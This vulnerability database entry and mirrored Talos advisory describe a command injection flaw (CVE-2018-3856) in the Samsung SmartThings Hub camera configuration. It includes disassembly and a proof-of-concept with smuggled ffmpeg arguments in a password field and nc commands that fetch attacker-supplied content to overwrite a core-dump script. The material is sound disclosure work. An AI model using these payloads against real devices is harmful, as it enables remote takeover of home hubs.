Vulnerabilities > CVE-2018-3856 - Argument Injection or Modification vulnerability in Samsung Sth-Eth-250 Firmware 0.20.17
Attack vector
NETWORK Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
An exploitable vulnerability exists in the smart cameras RTSP configuration of the Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17. The device incorrectly handles spaces in the URL field, leading to an arbitrary operating system command injection. An attacker can send a series of HTTP requests to trigger this vulnerability.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 1 | |
Hardware | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Try All Common Application Switches and Options An attacker attempts to invoke all common switches and options in the target application for the purpose of discovering weaknesses in the target. For example, in some applications, adding a --debug switch causes debugging information to be displayed, which can sometimes reveal sensitive processing or configuration information to an attacker. This attack differs from other forms of API abuse in that the attacker is blindly attempting to invoke options in the hope that one of them will work rather than specifically targeting a known option. Nonetheless, even if the attacker is familiar with the published options of a targeted application this attack method may still be fruitful as it might discover unpublicized functionality.
- Using Meta-characters in E-mail Headers to Inject Malicious Payloads This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
- HTTP Parameter Pollution (HPP) An attacker overrides or adds HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
- OS Command Injection In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.
Seebug
bulletinFamily | exploit |
description | ### Summary An exploitable vulnerability exists in the smart cameras RTSP configuration of the Samsung SmartThings Hub. The device incorrectly handles spaces in the URL field, leading to an arbitrary operating system command injection. An attacker can send a series of HTTP requests to trigger this vulnerability. ### Tested Versions Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17 ### Product URLs [https://www.smartthings.com/products/smartthings-hub](https://www.smartthings.com/products/smartthings-hub) ### CVSSv3 Score 9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H ### CWE CWE-88: Argument Injection or Modification ### Details Samsung produces a series of devices aimed at controlling and monitoring a home such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use his or her smartphone to connect to his or her own house remotely and manage any other device through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture. The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the `hubCore` process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allow for a secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely. One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork. Inside the hub, the livestream is handled by the `video-core` process, which uses `ffmpeg` to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application. The livestream configuration can be changed from the smartphone application. When a user changes the smart camera's password, the following request is sent to api.smartthings.com via HTTPS: PUT /elder/<location-id>/api/devices/<device-id>/pages/preferences HTTP/1.1 X-ST-Api-Version: 3.2 X-ST-Client-AppVersion: 2.14.0 Authorization: Bearer <auth-token> Accept: application/json Content-Type: application/json; charset=UTF-8 Host: api.smartthings.com User-Agent: okhttp/3.6.0 ... {"completedSetup":true,"label":"SNH-V6414BN","preferences":[{"name":"wlanMode","value":"PSK"},{"name":"cameraBrightness","value":"Med"},{"name":"wlanPassword","value":""},{"name":"cameraTimeZone","value":"4"},{"name":"cameraPassword","value":"<camera-password>"},{"name":"cameraOverlay","value":"Off"},{"name":"cameraDayNightMode","value":"Auto"},{"name":"cameraImage","value":"No Flip - No Mirror"},{"name":"wlanSite","value":""},{"name":"cameraWDR","value":"WDR"},{"name":"cameraAudio","value":"Low/Med"}]} Note that the request above actually sets all the smart camera's preferences in one shot. Notable parameters are: location-id: canonical UUID which identifies a hub in a specific location device-id: canonical UUID of a device (e.g. smart camera UUID) auth-token: OAuth 2.0 Bearer Token (canonical UUID), provided by auth-global.api.smartthings.com camera-password: the new password for connecting to the camera via RTSP In order to apply the new configuration to the hub, SmartThings servers send a series of messages to the device, which are received by the `hubCore` process. Specifically, when the `cameraPassword` value is changed, `hubCore` will receive the following message: PATCH /cameras/<device-id> HTTP/1.1 Accept: */* User-Agent: Linux UPnP/1.0 SmartThings Content-Type: application/json Connection: Close Host: 127.0.0.1:3000 Content-Length: 83 {"url":"rtsp://admin:<camera-password>@<camera-ip>:554/profile4/media.smp","state":"on"} Note that the new parameter `camera-ip` was previously set on the initial camera setup phase. This message will be relayed without any modification to the HTTP server running inside the `video-core` process. The message notifies the `video-core` process for updating the URL needed to establish the RTSP connection. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request. Upon receiving the request above, `video-core` will save the new camera URL in its internal database. Shortly after, the thread `vidWatcher` of the `video-core` process will re-execute the `ffmpeg` command using the new URL. `ffmpeg` options are collected by function `sub_1D240`: .text:0001D240 sub_1D240 ... .text:0001D3B0 898 MOV R1, R0 .text:0001D3B4 898 MOV R0, R7 ; [1] .text:0001D3B8 898 BL sub_395DC ; [2] add -stimeout .text:0001D3BC 898 CMP R0, #0 .text:0001D3C0 898 BLT loc_1D7A8 .text:0001D3C4 898 MOV R0, R7 .text:0001D3C8 898 LDR R1, [SP,#0x898+var_430] .text:0001D3CC 898 BL sub_39674 ; [3] add -t .text:0001D3D0 898 CMP R0, #0 .text:0001D3D4 898 BLT loc_1D81C .text:0001D3D8 898 MOV R1, #0x8368 .text:0001D3DC 898 MOV R0, R7 .text:0001D3E0 898 MOVT R1, #0xB .text:0001D3E4 898 BL sub_39520 ; [4] add -rtsp_transport .text:0001D3E8 898 CMP R0, #0 .text:0001D3EC 898 BLT loc_1D8A4 .text:0001D3F0 898 MOV R1, R8 ; camera url .text:0001D3F4 898 MOV R0, R7 .text:0001D3F8 898 BL sub_39818 ; [5] add -i (camera url) ... .text:0001D4F8 898 MOV R1, R7 ; [7] .text:0001D4FC 898 BL sub_1B9E8 ; [6] The function reads a series of parameters from the internal database, and builds a string (pointed by `r7` [1]) by appending each parameter at the end ([2], [3], [4], [5]). Note that the actual URL value is added at [5]. The resulting string is simply a series of arguments for `ffmpeg`. This is an example of such a string: " -stimeout 2000000 -t 12:00:00 -rtsp_transport tcp -i rtsp://admin:<camera-password>@<camera-ip>:554/profile4/media.sme -strict experimental -flags +global_header -vcodec copy -acodec aac -profile:a aac_low -cutoff 3400 -ar:a 8000 -b:a 32k -hls_wrap 10 -hls_list_size 3 -hls_allow_cache 1 -hls_time 2 /var/volatile/videocore/ringbuffer/<device-id>/live.m3u8" Finally, function `sub_1B9E8` is called [6], passing the reference to the arguments string as second parameter [7]: .text:0001B9E8 sub_1B9E8 .text:0001B9E8 .text:0001B9E8 000 CMP R2, #0 .text:0001B9EC 000 CMPNE R1, #0 ; [8] ptr to ffmpeg args string .text:0001B9F0 000 STMFD SP!, {R4-R9,LR} .text:0001B9F4 01C SUB SP, SP, #0x480 .text:0001B9F8 49C SUB SP, SP, #0xC .text:0001B9FC 4A8 BNE loc_1BA24 ... .text:0001BA24 loc_1BA24 .text:0001BA24 4A8 MOV R8, R0 .text:0001BA28 4A8 LDR R0, [R1] .text:0001BA2C 4A8 CMP R0, #0 .text:0001BA30 4A8 BEQ loc_1BC00 .text:0001BA34 4A8 MOV R6, R3 .text:0001BA38 4A8 MOV R1, #0xB3C8 .text:0001BA3C 4A8 MOV R3, #0x7D4C .text:0001BA40 4A8 MOVT R1, #0xB ; [9] " " (space) .text:0001BA44 4A8 MOVT R3, #0xB ; [10] "ffmpeg" .text:0001BA48 4A8 MOV R7, R2 .text:0001BA4C 4A8 STR R3, [SP,#0x4A8+argv] ; [11] .text:0001BA50 4A8 BL strtok ; [12] .text:0001BA54 4A8 SUBS R12, R0, #0 .text:0001BA58 4A8 BEQ loc_1BBF8 .text:0001BA5C 4A8 ADD R5, SP, #0x4A8+argv .text:0001BA60 4A8 MOV R4, #1 .text:0001BA64 4A8 B loc_1BA70 .text:0001BA68 .text:0001BA68 loc_1BA68 ; [13] tokenization loop .text:0001BA68 4A8 CMP R4, #0x64 .text:0001BA6C 4A8 BEQ loc_1BBF0 .text:0001BA70 .text:0001BA70 loc_1BA70 .text:0001BA70 4A8 MOV R1, #0xB3C8 .text:0001BA74 4A8 STR R12, [R5,#4]! .text:0001BA78 4A8 MOV R0, #0 .text:0001BA7C 4A8 MOVT R1, #0xB .text:0001BA80 4A8 BL strtok ; [12] .text:0001BA84 4A8 SUBS R12, R0, #0 .text:0001BA88 4A8 ADD R4, R4, #1 .text:0001BA8C 4A8 BNE loc_1BA68 ; [13] tokenization loop .text:0001BA90 4A8 MOV R4, R4,LSL#2 .text:0001BA94 .text:0001BA94 loc_1BA94 .text:0001BA94 4A8 ADD R3, SP, #0x4A8+var_28 .text:0001BA98 4A8 ADD R0, SP, #0x4A8+pipedes .text:0001BA9C 4A8 ADD R3, R3, #8 .text:0001BAA0 4A8 ADD R4, R3, R4 .text:0001BAA4 4A8 MOV R3, #0 .text:0001BAA8 4A8 STR R3, [R4,#-0x370] .text:0001BAAC 4A8 BL pipe .text:0001BAB0 4A8 CMP R0, #0 .text:0001BAB4 4A8 BEQ loc_1BB78 ... .text:0001BB78 loc_1BB78 .text:0001BB78 4A8 ADD R0, SP, #0x4A8+var_498 .text:0001BB7C 4A8 BL pipe .text:0001BB80 4A8 SUBS R4, R0, #0 .text:0001BB84 4A8 BEQ loc_1BC5C ... .text:0001BBF0 loc_1BBF0 .text:0001BBF0 4A8 MOV R4, #0x190 .text:0001BBF4 4A8 B loc_1BA94 ... .text:0001BC5C loc_1BC5C ... .text:0001BCA0 4A8 BL fork .text:0001BCA4 4A8 SUBS R5, R0, #0 .text:0001BCA8 4A8 BEQ loc_1BE2C ... .text:0001BE2C loc_1BE2C ... .text:0001BEA8 4A8 MOV R1, #0x7E4C .text:0001BEAC 4A8 LDR R0, [R8,#4] .text:0001BEB0 4A8 MOVT R1, #0xB .text:0001BEB4 4A8 BL sub_281B0 .text:0001BEB8 4A8 MOV R3, #0x7D4C .text:0001BEBC 4A8 CMP R0, #0 .text:0001BEC0 4A8 MOVT R3, #0xB ; "ffmpeg" .text:0001BEC4 4A8 ADD R1, SP, #0x4A8+argv .text:0001BEC8 4A8 MOVEQ R0, R3 .text:0001BECC 4A8 BL execvp ; [14] We can see that the arguments, passed as second parameter [8], are split on every space character [9] using the `strtok` function [12] in a loop [13]. Every token is saved into the `argv` array [11], whose first element was set to `ffmpeg` [10]. The resulting array is then passed as the `argv` parameter of the `execvp` call [14]. Since the space character inside the `camera-password` is never modified throughout the whole processing, and the arguments splitting is performed by simply looking for space characters, an attacker that controls the `camera-password` can add new options to the invocation of the `ffmpeg` binary. This can be exploited to execute arbitrary shell commands, resulting in a complete compromise of the device. We identified three different vectors that allow for exploiting this vulnerability: - As it was shown above, anyone owning a valid OAuth bearer token, or the relative username and password pair to obtain it, can modify the configuration of a camera by sending a request to api.smartthings.com. The request can contain an arbitrary password that would be relayed to the vulnerable `video-core` process. - Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to `hubCore`, that would be relayed without modification to the vulnerable `video-core` process. - SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public Marketplace. A SmartApp is executed inside the `hubCore` process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable `video-core` process. ### Exploit Proof of Concept The following proof of concept shows how to execute an arbitrary command inside the device, by using the api.smartthings.com vector. It's assumed that an attacker already owns a valid OAuth bearer token. A camera also needs to be set up on the hub. A fake camera could be added by an attacker, but for simplicity, we assume that we already have a configured camera available. Exploitation relies on the ability of `ffmpeg` to pipe any raw data from a plain TCP connection into a file. This is possible thanks to the `data` file format and the `copy` codec, since when used together, they omit any encoding or decoding of the raw stream. For example, to write the string `talos` into `/tmp/test` in `machineB`, one could execute: machineA -- $ echo talos | nc -l -p 3333 machineB -- $ ffmpeg -f data -i tcp://@<machineA>:3333 -map 0 -codec copy -y -f data /tmp/test Moreover, `ffmpeg` supports multiple inputs and outputs on a unique invocation, which allows for injecting this kind of command anywhere in the arguments list. However, since the majority of the system partitions are mounted read-only, executing arbitrary commands becomes slightly more tricky, and we show how it can be done by overwriting two files: # cat /proc/sys/kernel/core_pattern |/tmp/compressdump.sh /hub/data/coredump/%e.core.gz .* # realpath /tmp /var/volatile/tmp # mount | grep /var/volatile tmpfs on /var/volatile type tmpfs (rw,relatime,size=102400k) We can see that the `/tmp` directory can be written to, and it also contains the script `/tmp/compressdump.sh`, which is called when a core dump is generated. To generate a core dump, it's enough to write any invalid string in `/tmp/ledstate`. This is a pipe read by the `ledd` process, which crashes as soon as an unexpected string is found in the pipe. So to execute an arbitrary command, it's enough to: 1. Overwrite `/tmp/compressdump.sh` -- attacker machine -> api.smartthings.com PUT /elder/<location-id>/api/devices/<device-id>/pages/preferences HTTP/1.1 ... { ... {"name":"cameraPassword","value":"admin@<camera-ip>:554/profile4/media.smp -timeout 1 -f data -i tcp://@<attacker-ip>:<attacker-port> -map 1 -codec copy -y -f data /tmp/compressdump.sh -metadata title=\""}, ... } -- attacker sends the contents that will overwrite compressdump.sh echo 'ping -c1 <attacker-ip>' | nc -l -p <attacker-port> 2. Trigger a core dump, so that `/tmp/compressdump.sh` is called: -- attacker machine -> api.smartthings.com PUT /elder/<location-id>/api/devices/<device-id>/pages/preferences HTTP/1.1 ... { ... {"name":"cameraPassword","value":"admin@<camera-ip>:554/profile4/media.smp -timeout 1 -f data -i tcp://@<attacker-ip>:<attacker-port> -map 1 -codec copy -y -f data /tmp/ledstate -metadata title=\""}, ... } -- attacker sends the string "talos" that will crash the "ledd" process echo talos | nc -l -p <attacker-port> Note that the `metadata` parameter is used to discard the rest of the URL where the password was injected. Otherwise, `ffmpeg` would fail because an unknown option would be specified. ### Timeline * 2018-03-23 - Vendor Disclosure * 2018-05-23 - Discussion with vendor/review of timeline for disclosure * 2018-07-17 - Vendor patched * 2018-07-26 - Public Release |
id | SSV:97440 |
last seen | 2018-07-31 |
modified | 2018-07-30 |
published | 2018-07-30 |
reporter | My Seebug |
title | Samsung SmartThings Hub video-core RTSP Configuration Command Injection Vulnerability(CVE-2018-3856) |
Talos
id | TALOS-2018-0539 |
last seen | 2019-05-29 |
published | 2018-07-26 |
reporter | Talos Intelligence |
source | http://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0539 |
title | Samsung SmartThings Hub video-core RTSP Configuration Command Injection Vulnerability |